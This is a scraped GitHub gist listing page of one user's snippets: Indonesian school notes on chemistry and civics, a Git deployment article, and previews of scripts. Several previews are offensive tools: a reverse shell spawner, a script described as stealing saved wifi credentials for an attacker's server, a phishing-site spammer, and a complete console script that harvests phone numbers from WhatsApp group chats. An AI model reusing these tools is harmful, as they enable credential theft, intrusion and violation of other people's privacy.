Skip to content

Instantly share code, notes, and snippets.

View ttycelery's full-sized avatar
🧀
eating cheese

Faiz Jazadi ttycelery

🧀
eating cheese
View GitHub Profile

Kimia

Cabang-Cabang Ilmu Kimia

  1. Kimia Analisis: mempelajari tentang analisis bahan-bahan kimia yang terdapat dalam suatu produk.
  2. Kimia Fisik: fokus kajiannya berupa penentuan energi yang menyertai terjadinya reaksi kimia, sifat fisis zat serta perubahan senyawa kimia.
  3. Kimia Organik: mempelajari bahan-bahan kimia yang terdapat dalam makhluk hidup.
  4. Kimia Anorganik: kebalikan dari kimia organik; mempelajari benda mati.
  5. Kimia Lingkungan: mempelajari tentang segala sesuatu yang terjadi di lingkungan, terutama yang berkaitan dengan pencemaran lingkungan dan cara penanggulangannya.
  6. Kimia Inti (Radiokimia): mempelajari zat-zat radioaktif.
  7. Biokimia: cabang ilmu kimia yang sangat erat kaitannya dengan ilmu biologi.
  8. Kimia Pangan: mempelajari bagaimana cara meningkatkan mutu bahan pangan.
@ttycelery
ttycelery / ppkn.md
Last active December 1, 2018 15:24

Kisi-Kisi UAS Ganjil PPKn Kelas X

Soal UAS Ganjil PPKn Kelas X terdiri dari bagian pilihan ganda dan bagian uraian.

Pilihan Ganda

1. Makna Pembagian Kekuasaan

Pembagian kekuasaan (divisions of power) adalah pembagian sistem kekuasaan setiap lembaga negara dalam beberapa bagian (legislatif, eksekutif, dan yudikatif), tetapi satu sama lain tidak terpisahkan. Hal ini memungkinkan terjadinya koordinasi antarlembaga negara.

2. Salah Satu Tugas Kekuasaan Horizontal yang Berkaitan dengan Uang

  • Menetapkan dan melaksanakan kebijakan moneter secara berkelanjutan, konsisten, transparan, dan harus mempertimbangkan kebijakan umum pemerintah di bidang perekonomian.
  • Mengatur dan menjaga kelancaran sistem pembayaran.
  • Mengatur dan mengawasi bank.

3. Kewenangan Presiden sebagai Kepala Negara dan Kepala Pemerintahan

Using Git to Manage a Live Web Site

Overview

As a freelancer, I build a lot of web sites. That's a lot of code changes to track. Thankfully, a Git-enabled workflow with proper branching makes short work of project tracking. I can easily see development features in branches as well as a snapshot of the sites' production code. A nice addition to that workflow is that ability to use Git to push updates to any of the various sites I work on while committing changes.

Contents

@ttycelery
ttycelery / grouper.py
Created May 24, 2018 09:56
Mailist Grouper
# Mailist Grouper
import sys
print("""\
+-----------------------------+
| Mailist Grouper |
| P4kL0nc4t | 24/05/2018 |
+-----------------------------+
""")
if len(sys.argv) != 2:
print("usage: %s <mailist.txt>" % sys.argv[0])
@ttycelery
ttycelery / bekkonek.py
Last active July 26, 2018 13:20
bekkonek: simple reverse shell spawner
#!/usr/bin/python
from pwn import *
import random
import time
import thread
from socket import gethostbyname
try:
import readline
except:
pass
@ttycelery
ttycelery / tts.py
Last active July 4, 2018 19:53
google_tts: simple python script to convert text to speech based on Google Translate
#!/usr/bin/python
import requests
import sys
import playsound
import time
try:
import readline
except:
@ttycelery
ttycelery / __init__.py
Created April 9, 2018 07:04
gaga_enc: not too useful script to encode a string
main_char_lower = {"a": "b","c": "d","e": "f","g": "h","i": "j","k": "l","m": "n","o": "p","q": "r","s": "t","u": "v","w": "x","y": "z"}
for key,value in main_char_lower.items(): main_char_lower[value] = key
main_char_upper = dict()
for key,value in main_char_lower.items(): main_char_upper[key.upper()] = value.upper()
main_char_d_lower = dict()
for key,value in main_char_lower.items(): main_char_d_lower[value] = key
main_char_d_upper = dict()
for key,value in main_char_upper.items(): main_char_d_upper[value] = key
main_char_num = {"0": "1", "2": "3", "4": "5", "6": "7", "8": "9"}
for key,value in main_char_num.items(): main_char_num[value] = key
@ttycelery
ttycelery / gaga_enc.py
Last active April 9, 2018 06:54
wcred: steal saved wifi credential and send it to attacker's server
main_char_lower = {"a": "b","c": "d","e": "f","g": "h","i": "j","k": "l","m": "n","o": "p","q": "r","s": "t","u": "v","w": "x","y": "z"}
for key,value in main_char_lower.items(): main_char_lower[value] = key
main_char_upper = dict()
for key,value in main_char_lower.items(): main_char_upper[key.upper()] = value.upper()
main_char_d_lower = dict()
for key,value in main_char_lower.items(): main_char_d_lower[value] = key
main_char_d_upper = dict()
for key,value in main_char_upper.items(): main_char_d_upper[value] = key
main_char_num = {"0": "1", "2": "3", "4": "5", "6": "7", "8": "9"}
for key,value in main_char_num.items(): main_char_num[value] = key
@ttycelery
ttycelery / gen_cred.py
Created April 7, 2018 04:49
spam-phising: an example of phising site spammer script
import random
class credential_generator:
def __init__(self, username_list, password_list, email_list=['gmail.com', 'yahoo.com', 'yandex.com', 'protonmail.com']):
self.u_list = open(username_list, "r").readlines()
self.p_list = open(password_list, "r").readlines()
self.u_listf = []
self.p_listf = []
self.e_listf = email_list
for username in self.u_list:
self.u_listf.append(username.rstrip())
@ttycelery
ttycelery / whatsapp.js
Last active July 25, 2023 15:24
WhatsApp Group Phone Number Grabber: grab all (unsaved) phone numbers in WhatsApp group
/*
Paste the following minified script to browser console (with WhatsApp Web open)
---------------
var phone_list=[];function get_list(e){var t=document.getElementsByClassName("O90ur")[0].innerText;t=t.split(", ");for(var l=0;l<t.length;l++)num=t[l].replace(/[^0-9]/g,""),"6"==num.charAt(0)&&(phone_list.includes(num)||phone_list.push(num));e&&alert(phone_list.join("\n"))}function doc_keyUp(e){e.ctrlKey&&57==e.keyCode?get_list(!0):e.ctrlKey&&56==e.keyCode?(get_list(!1),document.title="List successfully captured!"):e.ctrlKey&&55==e.keyCode?(phone_list=[],document.title="List successfully cleared!"):e.ctrlKey&&54==e.keyCode&&(document.title="Current list length: "+phone_list.length)}document.addEventListener("keyup",doc_keyUp,!1);
---------------
After entering above text, you can use these hotkeys:
- CTRL+9: capture current group chat phone numbers (unsaved numbers) and display an alert()
- CTRL+8: capture current group chat phone numbers and show notification in page title
- CTRL+7: clear captured phone_number